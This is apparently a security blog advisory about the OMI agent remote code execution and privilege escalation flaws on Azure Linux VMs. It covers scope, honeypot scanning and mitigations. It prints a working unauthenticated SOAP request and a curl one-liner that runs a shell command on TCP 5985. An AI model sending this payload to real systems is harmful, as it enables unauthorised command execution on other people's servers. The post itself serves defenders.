Ok so the situation is as per usual a bit fluid, when this first dropped I was looking at this with a “azure” lense, however as time goes on it appears this likely also covers any Linux distro with the Azure/SCOM/OMS agents installed. This may change the profile of risk considerable, not only from a public facing attack surafce but highly likely from a lateral movement persspective. I’m going to keep updating this as more intel comes in. (sorry I’d be clearer if I had a clearer picture myself)
This week 4 vulnerabilities were disclosed which affect
Azure virtual machines running the Open Management Infrastructure (OMI) agent (think PowerShell remoting). As above the scope seems to be slightly wider with regard to SCOM/AZURE and OMS/Sentinel etc. agents for Linux (I want to confirm all of this but for now it seems this is the position)
Essentially these vulnerabilities allow for both network-based remove code execution (RCE) and local privilege escalation (LPE).
- There is evidence of exploitation in honeypots.
- There is a public proof of concept available for the RCE.
- The internet facing attack surface from a global perspective seems low based on the data in Shodan and Censys however I’m not convinced this is currently giving a clear picture.
- So, check your azure networks, Vms and firewalls would be a sensible idea
Details from MSRC are here:
Microsoft rated this as: CVSS:3.0 9.8 / 8.5
Vulnerability Disclosure Information
Public Exploit POC
Ok so this exploit is a SOAP request via the PowerShell API on TCP 5985 or 5986 (HTTP/HTTPS)
Here’s a sample HTTP request whith no authentication header. This SOAP body on the POST runs a command: whoami
POST /wsman HTTP/1.1 Connection: Keep-Alive Content-Length: 1674 Content-Type: application/soap+xml;charset=UTF-8 Host: 18.104.22.168xx:5985 <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema"> <s:Header> <a:To>HTTP://22.214.171.124xx:5985/wsman/</a:To> <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI> <a:ReplyTo> <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address> </a:ReplyTo> <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action> <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize> <a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID> <w:OperationTimeout>PT1M30S</w:OperationTimeout> <w:Locale xml:lang="en-us" s:mustUnderstand="false" /> <p:DataLocale xml:lang="en-us" s:mustUnderstand="false" /> <w:OptionSet s:mustUnderstand="true" /> <w:SelectorSet> <w:Selector Name="__cimnamespace">root/scx</w:Selector> </w:SelectorSet> </s:Header> <s:Body> <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem"> <p:command>whoami</p:command> <p:timeout>0</p:timeout> </p:ExecuteShellCommand_INPUT> </s:Body> </s:Envelope>
You can also execute this via curl:
curl -i -s -k -X $'POST' \ -H $'Connection: Keep-Alive' -H $'Content-Length: 1674' -H $'Content-Type: application/soap+xml;charset=UTF-8' -H $'Host: 126.96.36.199:5985' \ --data-binary $'<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:h=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\" xmlns:n=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\" xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\" xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema\">\x0d\x0a <s:Header>\x0d\x0a <a:To>HTTP://188.8.131.52:5985/wsman/</a:To>\x0d\x0a <w:ResourceURI s:mustUnderstand=\"true\">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\x0d\x0a <a:ReplyTo>\x0d\x0a <a:Address s:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\x0d\x0a </a:ReplyTo>\x0d\x0a <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>\x0d\x0a <w:MaxEnvelopeSize s:mustUnderstand=\"true\">102400</w:MaxEnvelopeSize>\x0d\x0a <a:MessageID>uuid:0AB58087-C2C3-0005-0000-000000010000</a:MessageID>\x0d\x0a <w:OperationTimeout>PT1M30S</w:OperationTimeout>\x0d\x0a <w:Locale xml:lang=\"en-us\" s:mustUnderstand=\"false\" />\x0d\x0a <p:DataLocale xml:lang=\"en-us\" s:mustUnderstand=\"false\" />\x0d\x0a <w:OptionSet s:mustUnderstand=\"true\" />\x0d\x0a <w:SelectorSet>\x0d\x0a <w:Selector Name=\"__cimnamespace\">root/scx</w:Selector>\x0d\x0a </w:SelectorSet>\x0d\x0a </s:Header>\x0d\x0a <s:Body>\x0d\x0a <p:ExecuteShellCommand_INPUT xmlns:p=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\">\x0d\x0a <p:command>whoami</p:command>\x0d\x0a <p:timeout>0</p:timeout>\x0d\x0a </p:ExecuteShellCommand_INPUT>\x0d\x0a </s:Body>\x0d\x0a</s:Envelope>' \ $'http://184.108.40.206:5985/wsman'
For remote code execution (RCE) the OMI Services must be exposed. By default, these run on:
Service Response Analysis
A GET request to the OMI Service (HTTP) on TCP 5985
Current Public Facing Internet Risk Analysis
Based on currently known fingerprinting techniques for this attack surface we believe the number of exposed internets facing services to be low, however the confidence in this statement is LOW.
Threat Actor Activity
Threat actors have been seen attempting to exploit this vulnerability in honeypots.
Threat Actor Scanning Activity
Bad Packets report that threat actors are scanning Azure ranges (at least) for this vulnerability. It’s likely this is due to the lack of concrete view from passive scanner data:
Yes, the activity from 220.127.116.11 (🇷🇺) was widespread and detected by multiple honeypots ( 🇦🇺, 🇫🇷, 🇷🇺, 🇹🇼, 🇺🇸) on ports 1270, 5985, and 5986/tcp
However, the activity detected from these hosts was only targeting our Azure (AS8075) honeypots:https://t.co/49H2XHE23b
— Bad Packets (@bad_packets) September 19, 2021
We have also seen this the same IP in the PwnDefend T-POT:
Internal Network Risk Analysis
From an internal network perspective, I believe it is more probable the services would be exposed. This opens the potential for both lateral movement via RCE or privilege escalation (LPE) from a threat actor that has route able TPC access. This position would imply that a threat actor already had established some form of network presence.
- Review services for public exposure, if exposed consider initiation incident response processes.
- Consider Azure/SCOM/OMS Agents for linux
- Where possible limit/disable public facing access to remote administration services.
- Patch the affected software component.
I’m going to keep seeing if I can work out how to enumerate the attack surface in a safe manner and will update here if I find more useful information. The long and short of this is you should probably go and check your systems and configurations based on data available today.
It’s a good idea to keep an eye on twitter as well. Kev is doing good work on this one: https://twitter.com/GossiTheDog
Microsoft Azure silently install management agents on your Linux VMs, which now have RCE and LPE vulns.
Microsoft don’t have an auto update mechanism, so now you need to manually upgrade the agents you didn’t know existed as you didn’t install them. https://t.co/czavbvt8LT
— Kevin Beaumont (@GossiTheDog) September 14, 2021
I’ll be updating the usual channels as well (CISP, Twitter, LinkedIn etc).